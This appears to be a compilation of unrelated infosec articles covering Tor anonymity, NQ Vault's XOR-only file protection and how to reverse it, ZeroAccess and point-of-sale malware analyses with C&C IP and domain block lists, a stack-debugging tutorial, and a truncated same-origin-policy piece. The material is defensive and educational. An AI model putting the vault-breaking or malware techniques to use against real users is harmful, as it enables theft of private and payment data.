Aerosol

Introduction When it comes to anonymizing activities in digital world, it can be referred to in various ways. Researchers might take it to identify various malicious activities and for back trailing, whereas hackers can anonymize their activities so as to build up a cover around their malicious activities. These anonymizing activities can really increase the work of researchers, as they can’t trust the attributes mentioned in the logs like IP address, user agent, etc. as such attributes will only give you false information. In this article series, we will learn about anonymizing activities from very basic level to an advanced level. Anonymity with TOR The Onion Router, widely known as TOR, is famous for staying anonymous on the Internet. Tor is a network of computers around the world that forward requests in an encrypted manner from the start of the request until it reaches the last machine in the network, which is known as an exit node. From the last node the TOR network, the request is decrypted and sent to the destination server. Thus exit nodes are the first nodes and last nodes in the TOR network for receiving and sending traffic from and to the original and destination server. Thus, to the destination server all traffic seems to come from the exit node in the TOR network, thus hiding the IP address of the original sender. Even the other systems in the TOR network cannot determine location either, because they are essentially forwarding traffic with no knowledge of where it actually originated. The responses to original requests will return to the system, but as far as the TOR network is concerned, a request is just another hop along the way. SOCKS server TOR works with the SOCKS protocol, so it is worth talking about SOCKS. A SOCKS server establishes a proxy TCP connection with another server on behalf of the client and then routes all the traffic back and forth between the client and the server. It works for any kind of network protocol on any port. SOCKS Version 5 adds additional support for security and UDP. The SOCKS server does not interpret the network traffic between client and server in any way, and is often used because clients are behind a firewall and are not permitted to establish TCP connections to servers outside the firewall unless they do it through the SOCKS server. Most web browsers for example can be configured to talk to a web server via a SOCKS server. Because the client must first make a connection to the SOCKS server and communicate which host it wants to connect to, the client must be “SOCKS enabled”. SOCKS uses a handshake protocol to inform the proxy software about the connection that the client is trying to make, and then acts as transparently as possible, whereas a regular proxy may interpret and rewrite headers. Comparison of SOCKS and HTTP As can be inferred from the above text about SOCKS, its function is similar to that of HTTP. But there is a significant difference between SOCKS and HTTP, as SOCKS operates at one level lower than HTTP proxying. HTTP allows forwarding TCP connections, whereas SOCKS can also forward UDP traffic and work in reverse. Let’s understand the difference with an example: SOCKS: Suppose User ‘A’ wants to connect with User ‘B’ over the Internet, but a firewall between them is restricting users to connect with each other. User ‘A’ connects to a SOCKS proxy in his network, which opens a connection through the firewall, and a communication channel between User ‘A’ and ‘B’ is achieved. HTTP: Suppose User ‘A’ wants to download a web page from web server ‘B’, but because of presence of a firewall between them, User ‘A’ is not able to do so, so User ‘A’ connects to an HTTP proxy, and in turn A’s browser communicates with the proxy in exactly the same way that it would directly with B’s server if that was possible, meaning it sends a standard HTTP request header. The HTTP proxy connects to B’s server, and then transmits back to ‘A’ any data that B’s server returns. TOR hidden services TOR is also being used to hide websites and other servers. This works by using what is called an associated onion address rather the website’s original IP address. This model is more secure than the original TOR model traffic, since hidden services do not use exit nodes. Communication is encrypted end to end. Below are some of the TOR hidden services. Search Engines: TorSearch P2P file sharing: The Pirate Bay Social Media: Facebook Commerce: Evolution, Silk Road etc. TOR weaknesses Although TOR is a strong way to anonymize activities in digital world, the TOR network has some weakness too. Below are some of the weakness that the TOR network has: The TOR network is subject to eavesdropping attack. Since the TOR model involves exit nodes and traffic from exit node to destination node is not encrypted, eavesdropping attacks are possible. One possible solution to this is to always access the HTTPS version of service. TOR exit node block: Some of the websites block traffic if the last node is a TOR node, thus reducing the functionalities for TOR users. TOR is also vulnerable to traffic analysis attack, correlation attack, sniper attack, etc. TOR configuration TOR can be easily installed in the system and after connecting with the TOR network, user can anonymize his activities. Consider the following commands to use in Ubuntu. Install TOR as root: apt-get install tor Check for IP address of the system without TOR Install TOR bundle from TOR website Extract the content and run the .exe If you are running as root, then the system might display an error by saying that “TOR cannot be run as root”. To overcome this, open the file in a text editor and comment the following lines: After this start, the TOR bundle .exe and notice the IP address. The IP address should not be the same as your machine’s IP. So in this article, we have learnt about what is TOR, how it is different from HTTP, and how easy it is to install and configure TOR in a machine. In the next article, we will learn about some more ways of anonymizing. References http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29 Source

The mobile encryption app NQ Vault has been in the news for bad reasons. Mobile encryption apps are commonly used to prevent access to sensitive data on the phone (such as images, videos, documents and so on). These encryption apps usually offer a vault with your desired password. You can push any secret files to this vault and they would be secure, as the data present in vault is encrypted and would decrypt only when the correct password is entered. The NQ Vault app is one such mobile encryption app which boasted that it “encrypts” and secures your confidential files. All this has now become a joke and we will see why! NQ Vault allows you to pick a private passcode and “encrypts” pictures, texts, and any other data from the eyes of anyone who happens to look through your phone or device. For instance, an attacker who has access to the device should not be able to view the original files unless he knows the passcode. The idea is that even if an attacker pulls these files from the device, since they are encrypted, they would mean nothing but junk. But in case of NQ Vault, it turned out that if an attacker pulls these encrypted files, he could easily get the original files in a matter of seconds. It’s not about weak encryption The point is that NQ Vault doesn’t use any encryption algorithm to secure the user’s data. It just uses XOR substitution. So we are not talking about using a weak algorithm or a weak key. We are talking about having “no algorithm”. As discovered by blogger NinjaDoge24, NQ Vault just XORs the user’s file with a key and calls it “encrypted”. Breaking it step by step I tried to verify this practically, and here is how easy it turned out to be: Download and install the NQ Vault mobile app from Google Play Store on any Android device. Set your desired passcode (say 000). Select any secret file (for example apple.png). Here is the HEX representation of the apple.png file: Note: HEX is a positional numeral system base of 16. It uses sixteen distinct symbols, most often the symbols 0–9 to represent values zero to nine, and to represent values ten to fifteen. You can use HEX Viewer tool to view an image’s hex representation. 3. Now send the image to the NQ Vault using the app. This would mean the file apple.png is encrypted and should have been stored somewhere on the device. This is the message shown by NQ Vault: 4. These so called “encrypted” files are stored on the SD card at the location /mnt/sdcard/SystemAndroid/Data. How do I know this? Well just by looking at SQLite files in this case. Also at the above mentioned location, there is a text file saved by the app which says: 5. But these encrypted files are hidden from the user. So initially a simple ‘ls’ on the folder does not reveal anything. But ‘ls’ with –a attribute would reveal all the hidden files, as shown in the following screenshot. 6. The next thing is to pull out this encrypted file to the local machine. I used the adb pull command for this purpose. As seen below, the file is stored with a .bin extension. 7. Now see the HEX representation of this encrypted file: 8. Now just XOR abc.png & the encrypted file:\ 9. What this suggests is, based on the passcode selected by the user, it generates a “key” (30 in this case) and just XORs the user’s file with this key! Upon investigation, it turned out that this key value is always between 00 and ff, which means 255 possible values. As explained by NinjaDoge24, here are some of the passcodes and their corresponding key values: Thus, an attacker who has access to the encrypted files just need to brute force XOR with 255 possible values to get the original files back! It’s not over! The story is not over yet. It is also discovered that the app performs this worthless encryption only for the first 128 bits of the user’s file, and stores the rest in plain format. So it’s all out there in the raw for the attacker to see. For example, in the above example, notice that only the first 128 bits are XOR-ed, and rest of the bits remain the same. The below screenshot gives a clear idea: Notice that only the initial bits are transformed, while the rest of the file remains the same. Here is a simple script written by NinjaDoge24 that automates this whole process. Lessons learned Everyone makes mistakes, including reputed organizations such as Facebook, Google etc., and we all understand that. But this is just asking to be punished. All those millions of users who believed the claims of this software and unknowingly rated it at 4.6 will now feel cheated. The fact that CNET, PC Magazine and many other site reviews rated it highly points out another problem – it’s hard to trust the claims of an app just by looking at what it does. It is definitely not possible for review sites to perform a security audit of an app before they rate it. Companies need to realize the importance of the trust that users have in their brand and also need to remember that once lost, it’s very hard to gain it back. Source

The Zero Access trojan (Maxx++, Sierief, Crimeware) has affected millions of computers worldwide, and it is the number one cause of cyber click fraud and Bitcoin mining on the Internet. Once the trojan has been delivered into the system, it begins to download many other types of malware that can each cause a great deal of damage to an organization. The trojan’s primary infection vector is spam mail and exploits kits, but it can also be distributed by P2P file sharing services and fake cracks and keygens. The trojan is unique in the fact that it connects to a P2P botnet chain that makes it very difficult to dismantle the botnet as a whole. Zero Access is a trojan root kit that uses advanced cloaking mechanisms to evade detection and capture. It has the ability to hide itself from several types of antivirus software and its presence in the system is extremely difficult to ascertain. It leaves no trace evidence indicating a data breach, and the network communications continue to occur as from a legitimate system process. Usually the executable file will reside in the %TEMP% directory of the workstation, and the traffic to external websites will be encoded HTTP GET and POST requests. Zero Access, once in the system, can carry out a wide variety of tasks, including: Use the infected computer for click fraud and Bitcoin mining Open the door to many other types of malware infecting the system Hide itself within the system without being detected Extract victim information including name, hostname, machine name, account name, etc. Analysis Zero Access malware can be downloaded form kernelinfo.com. In this case, the malware was downloaded intentionally for analysis. As in all analysis, the first step is to isolate the affected system. After this, the entire system is scanned for malicious content. At first glance, nothing concrete was found, but on further analysis a file is found in the %TEMP%directory of the infected workstation. An another suspicious file is also found within the %SYSTEM% directory on the workstation. This file appeared to be a configuration file of some kind, and it was protected using ACL permissions. The executable is extracted and run on a sandbox and comes up with confirmation of network indicators. The results also clearly indicate that the file was the dropper component for the Zero Access trojan. The name of the file is found to be fvshis.sav, and the contents of the file are encrypted. The strings of the executable were extracted from the memory and several artifacts were found that confirmed that the dropper received was the 32 bit version of the Max++ dropper component. Later, the dropper component of the trojan was analyzed, and at first glance the file appears to be unpacked. owever, during static analysis it is found that the file is packed using a complex custom packer. The executable also employs a complex anti-debugging scheme to further complicate analysis. The INT 2 signal is an operating system interrupt that allows the program to be debugger aware, i.e the program can detect if it is being analyzed by a debugger and kill itself. This can hinder analysis of such executables. The packing scheme employed by this particular trojan is also very complex, as it makes use of several layers of crypting and packing. It is found that the dropper component makes use of a complex packing scheme. The unpacking scheme works in chunks, with each chunk having a line of anti-debugging code. The dropper will continue to unpack itself in this manner until the entire file has been unpacked. If an analyst tries to break into the cycle with a debugger, the executable will crash the debugger. On much greater efforts, the sample was unpacked, and it was found that the sample attempts to access several directories on the host computer. From the usage of the INT 2 instruction in the code, we realize that the sample is a Ring zero rootkit, i.e it runs in kernel mode. Memory analysis was done on the sample and found that it creates a Mutex in memory. Such Mutexes are used by malware to ensure that the system is not re-infected with the same sample again. It is found that the trojan has injected itself into a legitimate process (explorer.exe) and is using this process to execute its payload. Later, kernel mode artifacts in memory were looked for, and it was found that the malware sample has hidden itself in the system as a kernel module. The trojan disguises itself as a device driver in the kernel memory. The driver is called B48DADF8.sys. Dump this module for further analysis. During preliminary analysis, the suspicious network traffic leaving the infected system was found, and this is analyzed in greater detail. HTTP requests to one domain in particular are also seen. The dropper is clearly trying to contact the above domain to download other malware samples into the infected system, and the domain name was analyzed. The resolved C&C IP address appears to be in Zurich, Switzerland. Swiss law protects the privacy of its citizens to a great extent. This makes it a very popular location for bulletproof hosting providers. Bulletproof hosting is very popular with cybercriminals for hosting their C&C servers. Further analysis into the domain shows that the domain actually maps to 3 different IP addresses including the one given above. All of the domains are in locations with strong privacy laws. We found that all three IP addresses have been blacklisted as malicious: 141.8.225.62 (Switzerland) 199.79.60.109 (Cayman Islands) 208.91.196.109 (Cayman Islands) Although this particular trojan does not steal user information, we found that it generates a large amount of traffic from its click fraud and Bitcoin mining modules. Recommendations Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Do not click suspicious advertisements and banners while browsing the web. Make use of log analysis tools (SIEM) for greater visibility against file and network changes within your organization. Ensure that your antivirus solution is up to date with the latest virus definitions. Ensure that your systems are up to date with the latest available patches, particularly the following vulnerabilities, as this trojan makes use of them to infect systems. CVE-2006-0003 CVE-2008-2992 CVE-2009-0927 CVE-2009-1671 CVE-2009-1672 CVE-2009-4324 CVE-2010-1885 Ensure that your organization uses email gateways to filter spam messages and mails with malicious attachments. Do not click on links in email from unknown sources Do not allow any P2P file sharing software in your corporate network environment. Block traffic to the following addresses in your perimeter devices such as Firewalls and IDS/IPS solutions. 141.8.225.62 208.91.196.109 199.79.60.109 References www.symantec.com Source

Introduction to POS malware In September 2014, experts at Trustwave firm published an interesting report on the evolution of the point-of-sale (PoS) malware in recent months. The attention of the media on PoS malware was raised after the numerous data breaches suffered by retail giants Target, Home Depot and Neiman Marcus. Experts at Trustwave investigated a number of incidents involving payment card data, and researchers examined a large amount of malicious code used by criminal crews to target point-of-sale devices. PoS malware is specifically designed to steal sensitive information stored in the magnetic stripe of a payment card, yet techniques implemented by the malware authors are different and are becoming even more sophisticated. Point-of-sale malware are able to steal data by scraping the memory of the machine or accessing its disk. Since 2013, POS malware is rapidly evolving, and numerous actors in the underground have offered customization for malicious codes widely used worldwide. The most interesting evolutions for PoS malware are related to evasion techniques and exfiltration methods. Cyber criminals are exploiting new solutions to avoid detection of defensive software. Malware authors are also looking with great interest to PoS malware botnets that rely on command and control (C&C) servers hidden in the TOR networks. “We also saw evidence of more authors automating the installation and control of their malware in 2013. While Trustwave discovered a number of new POS malware families exhibiting botnet-like tendencies, a number of well-known, older families also made an appearance,” states the post published by Trustwave. Which are the most popular PoS malware? Experts at Trustwave revealed that the Alina (19,1) malware family was the most prevalent malware used by threat actors behind the cases investigated by Trustwave. Other malware detected by the investigators were Baggage (16,5%) and Triforce (11,2%), meanwhile the popular BlackPos malware, Dexter and ChewBacca were used in a limited number of attacks, despite that they are considered very sophisticated. A detailed look to several PoS malware revealed that the Dexter malware is appreciated for the memory dumping ability it implements. Dexter implements process-injection mechanisms and logs keystrokes. Chewbacca is another powerful malware characterized by a sophisticated exfiltration mechanism that relays over the TOR network to host C&C servers. Debuting in late 2012, Alina surprised many, because it was one of a small number of POS malware families that included a C&C structure, encrypted the data it exfiltrated, blacklisted common Windows processes and installed itself to a randomly chosen name.” In many cases, criminal crews also used commercial keyloggers to infect the POS systems. A common characteristic for all the malware detected since 2014 is the lack of encryption for exfiltrated data. The “exclusive OR” (XOR) operation is the encryption technique most used by the malware authors (32%), followed by Blowfish (3.7%). Analyzing the exfiltration methods used by point-of-sale malware, the experts discovered that in the majority of cases (41%) the attackers don’t adopt a botnet infrastructure with a classic C&C infrastructure, instead they prefer to leave the stolen data on disk to be extracted manually later. HTTP is the second exfiltration technique (29%), followed by SMTP (22%). By analyzing the POS malware persistence mechanisms, the experts noticed that they did not change significantly from the past years. The point-of-sale malware use maintained persistence in one of the following ways: Run Registry Modification (53.2%) Installed as a Service (30.9%) AppInitDLLs Registry Modification (0.5%) None (14.9%) The evolution of point-of sale malware – what’s new? The authors of point-of-sale malware are improving their code. Let’s analyze together the most interesting code discovered since the report published by Trustwave in 2014. Name Abilities PoSeidon malware Sophisticated method to find card data. Self-update ability to execute new code. Effective measures to protect its code from analysis. The malware belongs to the “scrapers” family. Implementation of the Luhn formula to verify card validity. Uses a keylogger module. NewPosThings malware Efficient memory scraping process. Custom packer and new anti-debugging mechanisms. Implements ability to harvest user input. To obtain persistence it uses registry entry with the name “Java. Update Manager”. Disables the warning messages used by the OS. Implementation of the Luhn formula to verify card validity. d4re|dev1| malware Infects Mass Transit Systems. Allows remote control of victims. Implements functionalities of RAM scrapping and keylogging features. Allows loading of additional payloads through “File Upload” option for lateral movement inside the local network. The PoSeidon malware Recently, experts at Cisco have discovered a new strain of PoS malware dubbed PoSeidon. The new variant of malware presents many similarities with the popular Zeus trojan and implements sophisticated methods to find card data on the infected machine with respect to other PoS malicious code like BlackPoS, which is the malware that was used to steal data from the US giant retailers Target and Home Depot. “PoSeidon was professionally written to be quick and evasive with new capabilities not seen in other PoS malware,” states the blog post from Cisco’s Security Solutions team. “It can communicate directly with C&C servers, self-update to execute new code and has self-protection mechanisms guarding against reverse engineering.” The following image shows the architecture of the PoSeidon malware used by criminal crews to steal credit/debit card data from PoS systems. The malicious code belongs to the family of malicious code dubbed “scrapers”, which are malware that “scrape” the memory of point-of-sale systems searching for card numbers of principal card issuers (i.e. Visa, MasterCard, AMEX and Discover). PoSeidon has the ability to verify the validity of card numbers by using the Luhn formula. Once in execution, PoSeidon starts with a loader binary that operates to ensure the persistence on the infected PoS machine, then it receives other components from the C&C servers. Among the binaries downloaded by the loader, there is also a keylogger component used to steal passwords and could have been the initial infection vector, Cisco said. “The Loader then contacts a command and control server, retrieving a URL which contains another binary to download and execute. The downloaded binary, FindStr, installs a keylogger and scans the memory of the PoS device for number sequences that could be credit card numbers. Upon verifying that the numbers are in fact credit card numbers, keystrokes and credit card numbers are encoded and sent to an exfiltration server,” continues Cisco. The loader contacts one of the hardcoded servers in the following list provided by CISCO experts, the majority of them belonging to Russian domains: linturefa.com xablopefgr.com tabidzuwek.com lacdileftre.ru tabidzuwek.com xablopefgr.com lacdileftre.ru weksrubaz.ru linturefa.ru mifastubiv.ru xablopefgr.ru tabidzuwek.ru PoSeidon protects exfiltrated data with encryption. The data stolen from the memory of the machine and collected by the keylogger are sent to the C&C in XOR and base64 encoding. The majority of command and control servers identified by the experts are currently hosted on “.ru” domains. PoSeidon demonstrates the great interest in the criminal underground in PoS systems. Criminal crews are developing sophisticated techniques to compromise these systems. “Attackers will continue to target PoS systems and employ various obfuscation techniques in an attempt to avoid detection. As long as PoS attacks continue to provide returns, attackers will continue to invest in innovation and development of new malware families. Network administrators will need to remain vigilant and adhere to industry best practices to ensure coverage and protection against advancing malware threats,” explained Cisco’s Security Solutions team. NewPosThings malware Another insidious point-of-sale malware recently improved is NewPosThings. Researchers at Trend Micro in fact have detected a new strain of the malicious code. The new variant of NewPosThings, also known as NewPosThings 3.0, is a 64-bit version of the known agent discovered in 2014 by the experts at Arbor Networks. The researchers at Trend Micro confirmed that the malware had been in development since October 2013, and since then many variants were detected in the wild, including the last version that was specifically designed to compromise 64-bit architectures. The NewPosThings PoS malware implements an efficient memory scraping process to steal payment card data directly from the memory of the PoS machine. Malware authors implemented a custom packer and new anti-debugging mechanisms and a module to harvest user input. The NewPosThings variant, coded as TSPY_POSNEWT. SM, installs itself on the victim’s machine using different names that appear familiar to the users, including javaj.exe, vchost.exe, dwm.exe, ism.exe and isasss.exe. As explained by malware experts from Trend Micro, the choice of the name is not casual, but it is the result of an algorithm that calculates based on information related to the infected machine like its name and the volume serial number. NewPosThings uses a registry entry with the name “Java Update Manager” to obtain persistence on the PoS machine. Figure 3 -NewPosThings uses a registry entry with the name “Java Update Manager” to obtain persistence on the PoS machine. Once it has infected the target, NewPosThings starts gathering sensitive data, including passwords for virtual network computing (VNC) software such as UltraVNC, RealVNC, WinVNC, and TightVNC. Then the malware disables the warning messages used by the OS for certain file extensions, including .exe,.bat,.reg and .vbs. .exe,.bat,.reg and .vbs. “Disabling the Open File Security Warning of Microsoft Windows reduces the overall security posture of the Microsoft Windows host operating system. This is because the system no longer prompts the user for validation when opening up files that could have been downloaded from malicious sources,” states the blog post published by Trend Micro. NewPosThings checks the presence of financial software on the target machine, and when it recognizes the associated process it searches for patterns that could be associated with credit/debit card numbers, and like other malware, uses the Luhn algorithm to validate the data. The same algorithm was used for card number validation by recently discovered PoSeidon and Soraya malicious codes. NewPosThings transfers data to the command and control (C&C) server every 10 minutes. The collected data is sent to the server via HTTP. Among the C&C servers used by the malware authors there are also IP addresses associated with two US airports. “While analyzing the C&C servers used by the PoS Trojan, experts identified IP addresses associated with two airports in the United States. Trend Micro PoS Trojan, experts identified IP addresses associated with two airports in the United States. Trend Micro warned that travelers will be increasingly targeted and that airports are a target-rich environment.” Security Experts at Voidsec security firm published an interesting analysis of the malware and its command and control infrastructure. The experts used data provided by Arbor Networks to locate the Command & Control servers that are still up and running. The experts exploited some vulnerabilities in the C&C servers to analyze their contents. By analyzing the server, experts from Voidsec discovered the following vulnerabilities: Ability to run bruteforce attacks on administrative credentials. Presence of the phpMyAdmin application implementing web login. Authentication bypass, which gives the attacker the ability to view a protected page on the C2 server without being logged. By accessing data hosted on the compromised Command & Control servers, the researcher profiled the botnet used by the criminal crews: The two servers C&C servers analyzed managed a total of 80 bots. At the moment the experts logged C2 servers, there were 50 bots active, 10 did not have a status, and 20 bots were “dead.” The total number of archived log is 5240, an average of 65.5 log / bot. 79% of the bots were based on 32-bit architecture, the remaining on 64-bit architecture. The majority of compromised bots (57%) were XP machines, followed by Windows 7 (34%). The greatest number of infections was observed in Canada (29%), Australia (21%) and UK (13%). Figure 5 – PoS machine OS (Analysis Voidsec) The “d4re|dev1|” PoS malware The last case I want to discuss is a PoS malware that was detected by security experts at the IntelCrawler cyber threat intelligence firm at the end of 2014. Researchers detected a new point-of-Sale malware called “d4re|dev1|” (read dareldevil), which was used by criminal crews to infect ticket vending machines and electronic kiosks. In this case, the malware was used to infect Mass Transit Systems. The malicious code appeared as a sophisticated backdoor, which allows remote control of victims. d4re|dev1| implements RAM scraping and keylogging features exactly like any other PoS malware. The experts at IntelCrawler explained that d4re|dev1| is able to steal data from several PoS systems, including QuickBooks Point of Sale Multi-Store, OSIPOS Retail Management System, Harmony WinPOS and Figure Gemini POS. IntelCrawler discovered that cyber criminals managing the d4re|dev1| botnet also compromised ticket vending machines used by mass transportation systems and electronic kiosks installed in public areas. One of the infected ticket vending machines was identified in August 2014 in Sardinia, Italy, and attackers obtained the access exploiting credentials for a VNC (Virtual Network Computing). “These kiosks and ticket machines don’t usually house large daily lots of money like ATMs, but many have insecure methods of remote administration allowing for infectious payloads and the exfiltration of payment data in an ongoing and undetected scheme,” states IntelCrawler. igure 7 – d4re|dev1| Control panel In a classic attack scenario, threat actors used to compromise the targeted PoS by discovering the remote administrative credentials, for example through a brute force attack. Researchers at IntelCrawler believe that attackers use this tactic to compromise the POS systems. Anyway, the d4re|dev1| malware also allows operators to remotely upload files to the victim’s machine, and in this way the attacker can provide updates to code or to serve additional payloads for lateral movement inside the local network. “The malware has a “File Upload” option, which can be used for remote payload updating. The process of malware was masked under “PGTerm.exe” or “hkcmd.exe”, as well as legitimate names of software such as Google Chrome. Adversaries use this option for the installation of additional backdoors and tools, which allows them to avoid infrastructure limitations and security policies designed for detection,” said InterCrawler. The “upload feature” is particularly important for cyber criminals. Experts speculate that attackers are interested to compromise systems inside enterprise wide networks to capitalize their efforts with multiple activities inside the targeted infrastructure (i.e. data stealing, botnet recruiting). “Serious cybercriminals are not interested in just one particular Point-of-Sale terminal—they are looking for enterprise wide network environments, having tens of connected devices accepting payments and returning larger sets of spoils to their C2 [command-and-control] servers,” states the blog post published by IntelCrawler. Conclusions The number of data breaches is growing at a fast pace, and the retail industry is among the most affected sectors. Security experts sustain that measures to prevent cyber attacks against systems in the retail industry are not adequate, and PoS systems are a privileged target of cyber criminals that are developing new malicious code that presents sophisticated techniques. In this post, we have analyzed three of the most effective samples of PoS malware recently detected by security firms. They implement a similar feature that makes these malicious codes perfect hacking weapons that in some cases are used to breach the overall infrastructure of the victims. The experts highlight that the employees of breached companies commonly violated security policies, for example, it is very common that they used the terminals to navigate on the web, check their email, to access social network accounts and play online games. This dangerous behavior must be banned, and it is necessary to instruct personnel on the principal threats and the techniques, tactics, and procedures of the attackers. It is recommended to use a secure connection for administrative activities and limit the software environment for operators “by using proper access control lists and updated security polices”. References http://securityaffairs.co/wordpress/28160/malware/point-of-sale-malware.html https://gsr.trustwave.com/topics/placeholder-topic/point-of-sale-malware/ http://securityaffairs.co/wordpress/35181/cyber-crime/poseidon-pos-malware.html http://www.arbornetworks.com/asert/2014/09/lets-talk-about-newposthings/ http://securityaffairs.co/wordpress/30570/cyber-crime/pos-malware-dareldevil.html http://blog.trendmicro.com/trendlabs-security-intelligence/newposthings-has-new-pos-things/ http://voidsec.com/newposthings-hacked-exposed/#server http://securityaffairs.co/wordpress/30570/cyber-crime/pos-malware-dareldevil.html https://www.intelcrawler.com/news-24 http://securityaffairs.co/wordpress/30570/cyber-crime/pos-malware-dareldevil.html Source

Buffer overflow is a very common and widely known software security vulnerability. It is a condition which occurs when more data is written into a block of memory (buffer) than it is allocated to hold. As buffers are created to hold a definite amount of data, the excess information stored gets overflowed to the adjacent buffers, causing overwriting or damaging the valid data which is already stored. In order to exploit buffer overflow, one should have basic knowledge about topics like stacks, CPU registers, memory allocation, etc. As it is a very vast topic in itself, in this article we will try to understand the basics of the Stack Based Buffer Overflow. First of all, we will create a simple C program and cover the basics, like how the program runs in the memory, how the function call takes place, what is the return address, etc. So let’s start with the basics. A stack is a continuous block of memory which is used to store the temporary data within your program. The stack works on a Last in First out (LIFO) basis. PUSH and POP are the two working functions in which PUSH is used to put data into the stack and POP is used to remove the data from the stack, and it grows downwards towards lower memory addresses to higher memory addresses on Intel based systems. In Intel 32 bit architecture the maximum data size would be 4 bytes, which is equal to 32 bits for each PUSH and POP operation. Basically, the stack holds following types of data of the program. Argument to the Function Calling Function Address Return Address Local Variable and couple of other things. We will see each of them in detail further in this article. Before that, let us install some tools needed for the practical session. Here, we are using the following setup. We have configured Windows XP Service Pack 2 on Virtual Machine. Immunity Debugger (We can download it by searching Google or we can by clicking on the URL which is given in the references at the end of the article.) Dev C ++ (We can download the tool by clicking the form below.) Download Note: We are assuming that you have configured the required tools and have basic knowledge about assembly language. First of all, we will start looking at the things like function call in the memory and return address etc. from the very starting stage. We have already written a simple C program in which we have defined a function which is called from the main program. The EXE file and source code of the program are given at the end of the article. We can download the EXE and the source code of the files by clicking the URL given at the end of the article. Let’s have a look at the source code of the program so that we can understand the basic concepts. As seen in the above screen shot, we have written a simple program in which we have defined some local variables; after that we have called a function with one argument value. Then, we defined the function which will print the message – “Function is called”, then we returned value 1 to the main program. After compiling the program, we will open the program with Immunity Debugger. We can open the program by clicking the file menu or dragging the .exe file into the debugger. After that, we will see the following type of code on the screen. Now, we can see four sections on the screen. Each section represents a different type of CPU processing stat. Each section is defined below. In this section, we can see the de-assemble output of the .exe file. This section gives the information about various registers and their values. We can see the various type of registers and their values in the above screen. In this section, we can see the memory dump of the program. We can see what type of data has been written by the program into the memory. We can also edit these values dynamically according to the requirement. This is the most important part: it shows the stack status of the program. If we closely look into the screen we can see ‘paused’ written in the right corner of the window. This means that after opening the program with the debugger, the debugger has paused the program, so we will have to start the program manually. Now let’s start our analysis. The first step is to identify the main function and the other functions we have defined in the program, which are then loaded into the computer memory. If we scroll down in the first area, which is the de-assemble output of the program, we can see the ASCII main function with the EXE name and another function with the assembly language code. In our case the EXE file name was First.exe so we can see the same on the screen with some extra value. In the above screenshot we have pointed to some numbers. These numbers are defined in the below section for better understanding. This is the main function in the assembly language. We can see it in the screenshot name “First.xxxxx ASCII “Main Function””. In this case, First.xxx is the name of the .exe file we have loaded into the debugger. In the left hand side, we can see the memory address according to each assembly instruction. This is basically the physical memory address of the instruction. 00401290 is the address in our case in which the program has been started. And 004012DA is the address (in our case) in the memory where the program has finished. It is the function call from the main program. This line is basically calling the function which we have defined in the C program. When we closely look at the main function call, we can see that it is calling the “First.004012D3? in which the last 8 digits are the address of the function which will be called. In the end, we can see the function loaded into the memory, which is printing the value “Function is called” through the printf function, which has been called from the program. The function has started by pushing the EBP register into the stack. In our case, the starting address of the function is “004012DE”, and the function completion address is “004012FE”. Both the addresses can be seen in the above screenshot. It is the most important part, as we will see how we can define the break point in the program. A break point helps us to freeze the program at that location and allows us to analyse things like register status, stack and frame pointer. It also allows us to change the values dynamically. So, let us create a break point just before the function call. We can set the break point by selecting the row by just clicking on it and pressing F2 for creating the break point. As shown in the above screenshot after creating the break point, the row has been highlighted. Now, we need to start the program. We can do it by hitting the F9 key. We will see some changes in the numbers on the screen. In the above screenshot we can see that the stack value has been changed and the register value has also been changed. Another interesting thing is the EIP register which holds the value at which we had set the break point. Now, we will have to use two options. Step Into Step Over Step Into: when we want to execute the next instruction after creating the break point, then we will have to use Step Into. The keyboard shortcut key for Step Into is F7. Step Over: Sometimes we do not want to get into the details of the function call, so in such situations we can use Step Over. The keyboard shortcut key for Step Over is F8. Now, we have to go to the next instruction, so press the F7 key as mentioned in the above step. Let us analyse the stack now. As shown in the above screenshot, nothing interesting is showing in window no 4, but we can see in window no 1 that the next instruction has been executed, and the next instruction address has been assigned into the EIP register in window no 2. We will execute the next instruction by pressing the F7 key. After this step, the screen will look like this: We can see that the next instruction has been executed and we can see lots of changes in the screen. First of all, we have noticed that the instruction executed controller has reached the address given in the previous call function. This is visible in window no 1. When we closely look into window no 4, at the top of the stack we can see the address 004012D4, which is the return address to the main program. It means after the function execution has completed, by using this address the counter will go to the main program and the program execution gets completed. So in this article we have learned… Analysing the Stack Creating the Break Point Analysing the Function Call and Register Status. References IMMUNITY : Knowing You're Secure https://www.owasp.org/index.php/Buffer_Overflows Buffer overflow - Wikipedia, the free encyclopedia Stack buffer overflow - Wikipedia, the free encyclopedia http://www.bloodshed.net/dev/devcpp.html Source

The same origin policy is an important concept in the web application information security domain. In this policy, a web browser allows scripts contained in a first web page ‘A’ to access data/resources in a second web page ‘B’, however, only if both web pages have the same origin. An origin is defined as a combination of URI scheme, hostname, and port number. This policy prevents a malicious script on one page from obtaining access to sensitive data on another web page through that page’s DOM (document object model). Let’s consider one example in a physical world scenario. Imagine a school where all students within have a different origin. One class has many students, but all are unrelated. If a guardian makes a request to the school staff for his/her son’s classmate’s progress report, the school staff would deny the same as he/she not authenticated for the same. Similarly, if the school received a request for checking a student’s progress report, first they would ensure the requester is a guardian/parent/close relation of the student before granting student’s details/progress report. This is closely related to the browser with the same origin policy (SOP). Now, imagine a school that allowed access to anyone’s progress report to any guardian from the outside world – that would be like a browser without SOP. The same origin policy mechanism defines a particular significance for modern web applications that extensively depend on HTTP cookies to maintain authenticated user sessions, as servers act based on the HTTP cookie information to reveal sensitive information. A strict segregation between content provided by unrelated sites must be maintained on the client side to prevent the loss of data confidentiality or integrity. Same origin policy: Is it really important? Assume that you are logged into the Gmail server and visit a malicious website in the same browser, but another tab. Without implementing the same origin policy, an attacker can access your mail and other sensitive information using JavaScript. For example read private mail, send fake mail, read your chats. Also, Gmail uses JavaScript to enhance the user experience and save round trip bandwidth, so it is really so important that the browser can detect that this JavaScript is trusted to access Gmail resources. That’s where the same origin policy comes into the picture. Now imagine the same scenario and replace Gmail with your online banking application – it could be worse. Understand SOP with DOM: Same origin policy weds document object model When we 